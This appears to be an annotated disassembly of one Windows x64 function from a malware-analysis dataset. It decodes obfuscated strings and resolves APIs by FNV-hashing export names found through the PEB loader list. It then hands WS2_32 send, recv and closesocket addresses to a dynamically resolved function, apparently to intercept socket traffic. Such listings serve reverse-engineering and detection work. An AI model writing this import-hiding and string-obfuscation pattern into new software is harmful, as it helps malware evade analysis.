Function at 0x140049e40
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rax, qword [0x140099040]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov r14, qword [0x140963948]
xor eax, eax
mov dword [rbp + 0x32], eax
xorps xmm0, xmm0
mov byte [rbp + 0x36], al
movabs r9, 0x7c31cb8dc5d5769b
movups xmmword [rbp + 0x22], xmm0
mov dword [rbp + 0x17], 0x313f2c29
mov dword [rbp + 0x1b], 0x3cacfef
mov word [rbp + 0x1f], 0xd0a
mov byte [rbp + 0x21], 0x98
mov qword [rbp - 0x39], rax
mov rax, qword [rbp - 0x39]
nop
mov rcx, qword [rbp - 0x39]
mov rax, qword [rbp - 0x39]
add rcx, r9
movzx edx, byte [rbp + rax + 0x17]
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
mov rax, qword [rbp - 0x39]
add r8, rcx
add r8, rdx
sub r8b, 0x3d
mov byte [rbp + rax + 0x17], r8b
mov rax, qword [rbp - 0x39]
inc rax
mov qword [rbp - 0x39], rax
mov rax, qword [rbp - 0x39]
cmp rax, 0x20
jb 0x140049eb0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140049f87
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140049f87
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x1d0ae46e
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140049f82
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140049f60
cmp r8d, 0x8f1fe020
je 0x140049f8c
test r9d, r9d
jne 0x140049f40
mov rax, qword [rax]
jmp 0x140049f10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp + 0x17]
add rax, r10
call rax
mov rsi, rax
test rax, rax
je 0x14004a1e8
xor eax, eax
mov dword [rbp - 0x19], 0xc0e6f0c3
mov word [rbp + 0x15], ax
xorps xmm0, xmm0
movups xmmword [rbp + 5], xmm0
mov dword [rbp - 0x15], 0xf4fafbf1
movabs r9, 0xfb681cfcd0e3b052
mov dword [rbp - 0x11], 0xf6f1daef
mov dword [rbp - 0xd], 0xc6d1f2f0
mov dword [rbp - 9], 0xc9c9c4d0
mov dword [rbp - 5], 0xd9dad519
mov dword [rbp - 1], 0xdfdfcbcd
mov word [rbp + 3], 0x51cd
mov qword [rbp - 0x39], rax
mov rax, qword [rbp - 0x39]
nop dword [rax + rax]
mov rcx, qword [rbp - 0x39]
mov rax, qword [rbp - 0x39]
add rcx, r9
movzx edx, byte [rbp + rax - 0x19]
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
mov rax, qword [rbp - 0x39]
add r8, rcx
add r8, rdx
sub r8b, 0x3e
mov byte [rbp + rax - 0x19], r8b
mov rax, qword [rbp - 0x39]
inc rax
mov qword [rbp - 0x39], rax
mov rax, qword [rbp - 0x39]
cmp rax, 0x30
jb 0x14004a010
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004a0e7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004a0e7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xacc26a7d
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004a0e2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14004a0c0
cmp r8d, 0x4a82d74d
je 0x14004a0ec
test r9d, r9d
jne 0x14004a0a0
mov rax, qword [rax]
jmp 0x14004a070
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [rbp - 0x19]
add rax, r10
mov rcx, rsi
call rax
test rax, rax
je 0x14004a13d
movdqa xmm0, xmmword [reloc.WS2_32.dll_closesocket]
lea rcx, [rbp + 0x37]
mov qword [rbp - 0x29], rcx
lea rdx, [rbp - 0x31]
mov rcx, r14
mov dword [rbp - 0x31], reloc.WS2_32.dll_send
movdqu xmmword [rbp + 0x37], xmm0
mov dword [rbp - 0x21], reloc.WS2_32.dll_recv
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004a1c7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004a1c7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xa3ecab94
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14004a1c2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14004a1a0
cmp r8d, 0x75d28a8d
je 0x14004a1cc
test r9d, r9d
jne 0x14004a180
mov rax, qword [rax]
jmp 0x14004a150
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rcx, rsi
add rax, r10
call rax
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140075d20
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret